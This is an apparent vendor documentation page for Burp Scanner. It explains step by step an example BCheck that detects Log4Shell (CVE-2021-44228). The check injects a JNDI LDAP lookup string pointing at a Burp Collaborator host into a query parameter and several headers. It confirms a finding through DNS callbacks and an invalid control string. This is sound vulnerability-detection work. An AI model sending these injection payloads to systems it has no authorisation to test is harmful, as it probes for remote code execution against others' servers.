Enterprise EditionProfessional

Example Log4Shell check

Last updated: April 18, 2024
Read time: 3 Minutes

This BCheck enables Burp Scanner to check for Log4Shell vulnerabilities.

The check works by adding Burp Collaborator payloads to a query body and various headers as an LDAP URL. If any of these trigger a DNS interaction with Burp Collaborator, then Burp Scanner performs a follow-up check with a second, invalid LDAP URL to reduce false positives. If this second check does not result in a DNS interaction, then Burp Scanner reports an issue.


metadata:
    language: v2-beta
    name: "Log4Shell check"
    description: "Checks forLog4Shell vulnerabilities using Burp Collaborator"
    author: "Carlos Montoya"
    tags: "log4Shell", "CVE-2021-44228", "cve"

define:
    log4shell = `$\{jndi:ldap://{generate_collaborator_address()}/a}`
    not4shell = `$\{jmdi:lxap://{generate_collaborator_address()}/a}`
    issueDetail = `The collaborator payload {log4shell} was added to a query parameter and several headers. This resulted in an interaction with the Burp collaborator.`
    issueRemediation = "Make sure you are up to date with patches and follow the remediation for CVE-2021-44228."

given request then
    send request:
        method: "GET"
        appending queries: `x={log4shell}`
        replacing headers:
              "Cookie": `{log4shell}={log4shell}`,
              "Location": `{log4shell}`,
              "Origin": `{log4shell}`,
              "Referer": `{log4shell}`

    if dns interactions then
        send request:
            method: "GET"
            appending queries: `x={not4shell}`
            replacing headers:
                  "Cookie": `{not4shell}={not4shell}`,
                  "Location": {not4shell},
                  "Origin": {not4shell},
                  "Referer": {not4shell}

        if not(dns interactions) then
            report issue:
                severity: high
                confidence: firm
                detail: {issueDetail}
                remediation: {issueRemediation}
        end if
    end if

Step 1: Add metadata


metadata:
    language: v2-beta
    name: "Log4Shell check"
    description: "Checks forLog4Shell vulnerabilities using Burp Collaborator"
    author: "Carlos Montoya"
    tags: "log4Shell", "CVE-2021-44228", "cve"

The definition starts with a metadata block. For more information on available metadata properties, see the reference documentation.

Step 2: Declare variables


define:
    log4shell = `$\{jndi:ldap://{generate_collaborator_address()}/a}`
    not4shell = `$\{jmdi:lxap://{generate_collaborator_address()}/a}`
    issueDetail = `The collaborator payload {log4shell} was added to a query parameter and several headers. This resulted in an interaction with the Burp collaborator.`
    issueRemediation = "Make sure you are up to date with patches and follow the remediation for CVE-2021-44228."

The next step is to set up the Burp Collaborator payloads that Burp Scanner will use. The given example defines the following variables:

log4shell uses the {generate_collaborator_address()} function to generate a Burp Collaborator payload and then inserts that payload into a JNDI LDAP query.
not4shell inserts a Burp Collaborator payload into an invalid LDAP URL.
issueDetail defines informational text that can be called when required.
issueRemediation defines remediation text that can be called when required.

Step 3: Send the request


given request then
    send request:
        method: "GET"
        appending queries: `x={log4shell}`
        replacing headers:
              "Cookie": `{log4shell}={log4shell}`,
              "Location": `{log4shell}`,
              "Origin": `{log4shell}`,
              "Referer": `{log4shell}`

The next step is to configure the request that Burp Scanner sends.

In this example, Burp Scanner sends a request with the log4shell LDAP URL inserted into a query parameter and some common headers.

Step 4: Send a follow-up request


if dns interactions then
    send request:
        method: "GET"
        appending queries: `x={not4shell}`
        replacing headers:
              "Cookie": `{not4shell}={not4shell}`,
              "Location": {not4shell},
              "Origin": {not4shell},
              "Referer": {not4shell}

The next step is to send a conditional follow-up request to reduce false positives.

If the previous request results in DNS interactions with the Collaborator, Burp Scanner sends a second request using an invalid LDAP URL. This request should not result in any DNS interactions.

Step 5: Report issues


if not(dns interactions) then
    report issue:
        severity: high
        confidence: firm
        detail: {issueDetail}
        remediation: {issueRemediation}

The final step in the check is to report issues.

If the follow-up check did not result in any interactions, Burp Scanner knows that the interactions generated by the first request are unlikely to be false positives. It reports a high severity issue, using the detail and remediation text defined in step 2.

BCheck definition reference.